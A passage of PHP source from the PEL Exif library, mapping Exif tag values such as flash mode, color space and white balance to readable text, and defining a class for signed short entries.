($this->value[0]) { 316 | case 1: 317 | return Pel::tra('centered'); 318 | case 2: 319 | return Pel::tra('co-sited'); 320 | default: 321 | return $this->value[0]; 322 | } 323 | 324 | case PelTag::YCBCR_SUB_SAMPLING: 325 | //CC (e->components, 2, v); 326 | if ($this->value[0] == 2 && $this->value[1] == 1) 327 | return 'YCbCr4:2:2'; 328 | if ($this->value[0] == 2 && $this->value[1] == 2) 329 | return 'YCbCr4:2:0'; 330 | 331 | return $this->value[0] . ', ' . $this->value[1]; 332 | 333 | case PelTag::PHOTOMETRIC_INTERPRETATION: 334 | //CC (e->components, 1, v); 335 | switch ($this->value[0]) { 336 | case 2: 337 | return 'RGB'; 338 | case 6: 339 | return 'YCbCr'; 340 | default: 341 | return $this->value[0]; 342 | } 343 | 344 | case PelTag::COLOR_SPACE: 345 | //CC (e->components, 1, v); 346 | switch ($this->value[0]) { 347 | case 1: 348 | return 'sRGB'; 349 | case 2: 350 | return 'Adobe RGB'; 351 | case 0xffff: 352 | return Pel::tra('Uncalibrated'); 353 | default: 354 | return $this->value[0]; 355 | } 356 | 357 | case PelTag::FLASH: 358 | //CC (e->components, 1, v); 359 | switch ($this->value[0]) { 360 | case 0x0000: 361 | return Pel::tra('Flash did not fire.'); 362 | case 0x0001: 363 | return Pel::tra('Flash fired.'); 364 | case 0x0005: 365 | return Pel::tra('Strobe return light not detected.'); 366 | case 0x0007: 367 | return Pel::tra('Strobe return light detected.'); 368 | case 0x0009: 369 | return Pel::tra('Flash fired, compulsory flash mode.'); 370 | case 0x000d: 371 | return Pel::tra('Flash fired, compulsory flash mode, return light not detected.'); 372 | case 0x000f: 373 | return Pel::tra('Flash fired, compulsory flash mode, return light detected.'); 374 | case 0x0010: 375 | return Pel::tra('Flash did not fire, compulsory flash mode.'); 376 | case 0x0018: 377 | return Pel::tra('Flash did not fire, auto mode.'); 378 | case 0x0019: 379 | return Pel::tra('Flash fired, auto mode.'); 380 | case 0x001d: 381 | return Pel::tra('Flash fired, auto mode, return light not detected.'); 382 | case 0x001f: 383 | return Pel::tra('Flash fired, auto mode, return light detected.'); 384 | case 0x0020: 385 | return Pel::tra('No flash function.'); 386 | case 0x0041: 387 | return Pel::tra('Flash fired, red-eye reduction mode.'); 388 | case 0x0045: 389 | return Pel::tra('Flash fired, red-eye reduction mode, return light not detected.'); 390 | case 0x0047: 391 | return Pel::tra('Flash fired, red-eye reduction mode, return light detected.'); 392 | case 0x0049: 393 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode.'); 394 | case 0x004d: 395 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected.'); 396 | case 0x004f: 397 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode, return light detected.'); 398 | case 0x0058: 399 | return Pel::tra('Flash did not fire, auto mode, red-eye reduction mode.'); 400 | case 0x0059: 401 | return Pel::tra('Flash fired, auto mode, red-eye reduction mode.'); 402 | case 0x005d: 403 | return Pel::tra('Flash fired, auto mode, return light not detected, red-eye reduction mode.'); 404 | case 0x005f: 405 | return Pel::tra('Flash fired, auto mode, return light detected, red-eye reduction mode.'); 406 | default: 407 | return $this->value[0]; 408 | } 409 | 410 | case PelTag::CUSTOM_RENDERED: 411 | //CC (e->components, 1, v); 412 | switch ($this->value[0]) { 413 | case 0: 414 | return Pel::tra('Normal process'); 415 | case 1: 416 | return Pel::tra('Custom process'); 417 | default: 418 | return $this->value[0]; 419 | } 420 | 421 | case PelTag::EXPOSURE_MODE: 422 | //CC (e->components, 1, v); 423 | switch ($this->value[0]) { 424 | case 0: 425 | return Pel::tra('Auto exposure'); 426 | case 1: 427 | return Pel::tra('Manual exposure'); 428 | case 2: 429 | return Pel::tra('Auto bracket'); 430 | default: 431 | return $this->value[0]; 432 | } 433 | 434 | case PelTag::WHITE_BALANCE: 435 | //CC (e->components, 1, v); 436 | switch ($this->value[0]) { 437 | case 0: 438 | return Pel::tra('Auto white balance'); 439 | case 1: 440 | return Pel::tra('Manual white balance'); 441 | default: 442 | return $this->value[0]; 443 | } 444 | 445 | case PelTag::SCENE_CAPTURE_TYPE: 446 | //CC (e->components, 1, v); 447 | switch ($this->value[0]) { 448 | case 0: 449 | return Pel::tra('Standard'); 450 | case 1: 451 | return Pel::tra('Landscape'); 452 | case 2: 453 | return Pel::tra('Portrait'); 454 | case 3: 455 | return Pel::tra('Night scene'); 456 | default: 457 | return $this->value[0]; 458 | } 459 | 460 | case PelTag::GAIN_CONTROL: 461 | //CC (e->components, 1, v); 462 | switch ($this->value[0]) { 463 | case 0: 464 | return Pel::tra('Normal'); 465 | case 1: 466 | return Pel::tra('Low gain up'); 467 | case 2: 468 | return Pel::tra('High gain up'); 469 | case 3: 470 | return Pel::tra('Low gain down'); 471 | case 4: 472 | return Pel::tra('High gain down'); 473 | default: 474 | return $this->value[0]; 475 | } 476 | 477 | case PelTag::SATURATION: 478 | //CC (e->components, 1, v); 479 | switch ($this->value[0]) { 480 | case 0: 481 | return Pel::tra('Normal'); 482 | case 1: 483 | return Pel::tra('Low saturation'); 484 | case 2: 485 | return Pel::tra('High saturation'); 486 | default: 487 | return $this->value[0]; 488 | } 489 | 490 | case PelTag::CONTRAST: 491 | case PelTag::SHARPNESS: 492 | //CC (e->components, 1, v); 493 | switch ($this->value[0]) { 494 | case 0: 495 | return Pel::tra('Normal'); 496 | case 1: 497 | return Pel::tra('Soft'); 498 | case 2: 499 | return Pel::tra('Hard'); 500 | default: 501 | return $this->value[0]; 502 | } 503 | 504 | case PelTag::SUBJECT_DISTANCE_RANGE: 505 | //CC (e->components, 1, v); 506 | switch ($this->value[0]) { 507 | case 0: 508 | return Pel::tra('Unknown'); 509 | case 1: 510 | return Pel::tra('Macro'); 511 | case 2: 512 | return Pel::tra('Close view'); 513 | case 3: 514 | return Pel::tra('Distant view'); 515 | default: 516 | return $this->value[0]; 517 | } 518 | 519 | case PelTag::SUBJECT_AREA: 520 | switch ($this->components) { 521 | case 2: 522 | return Pel::fmt('(x,y) = (%d,%d)', $this->value[0], $this->value[1]); 523 | case 3: 524 | return Pel::fmt('Within distance %d of (x,y) = (%d,%d)', 525 | $this->value[0], $this->value[1], $this->value[2]); 526 | case 4: 527 | return Pel::fmt('Within rectangle (width %d, height %d) around (x,y) = (%d,%d)', 528 | $this->value[0], $this->value[1], 529 | $this->value[2], $this->value[3]); 530 | 531 | default: 532 | return Pel::fmt('Unexpected number of components (%d, expected 2, 3, or 4).', $this->components); 533 | } 534 | 535 | default: 536 | return parent::getText($brief); 537 | } 538 | } 539 | } 540 | 541 | 542 | /** 543 | * Class for holding signed shorts. 544 | * 545 | * This class can hold shorts, either just a single short or an array 546 | * of shorts. The class will be used to manipulate any of the Exif 547 | * tags which has format {@link PelFormat::SSHORT}. 548 | * 549 | * @author Martin Geisler 550 | * @package PEL 551 | */ 552 | class PelEntrySShort extends PelEntryNumber { 553 | 554 | /** 555 | * Make a new entry that can hold a signed short. 556 | * 557 | * The method accept several integer arguments. The {@link 558 | * getValue} method will always return an array except for when a 559 | * single integer argument is given here. 560 | * 561 | * @param PelTag the tag which this entry represents. This 562 | * should be one of the constants defined in {@link PelTag} 563 | * which has format {@link PelFormat::SSHORT}. 564 | * 565 | * @param int $value... the signed short(s) that this entry will 566 | * represent. The argument passed must obey the same rules as the 567 | * argument to {@link setValue}, namely that it should be within 568 | * range of a signed short, that is between -32768 to 32767 569 | * (inclusive). If not, then a {@link PelOverFlowException} will be 570 | * thrown. 571 | */ 572 | function __construct($tag /* $value... */) { 573 | $this->tag = $tag; 574 | $this->min = -32768; 575 | $this->max = 32767; 576 | $this->format = PelFormat::SSHORT; 577 | 578 | $value = func_get_args(); 579 | array_shift($value); 580 | $this->setValueArray($value); 581 | } 582 | 583 | 584 | /** 585 | * Convert a number into bytes. 586 | * 587 | * @param int the number that should be converted. 588 | * 589 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 590 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 591 | * 592 | * @return string bytes representing the number given. 593 | */ 594 | function numberToBytes($number, $order) { 595 | return PelConvert::sShortToBytes($number, $order); 596 | } 597 | } 598 | 599 | --------------------------------------------------------------------------------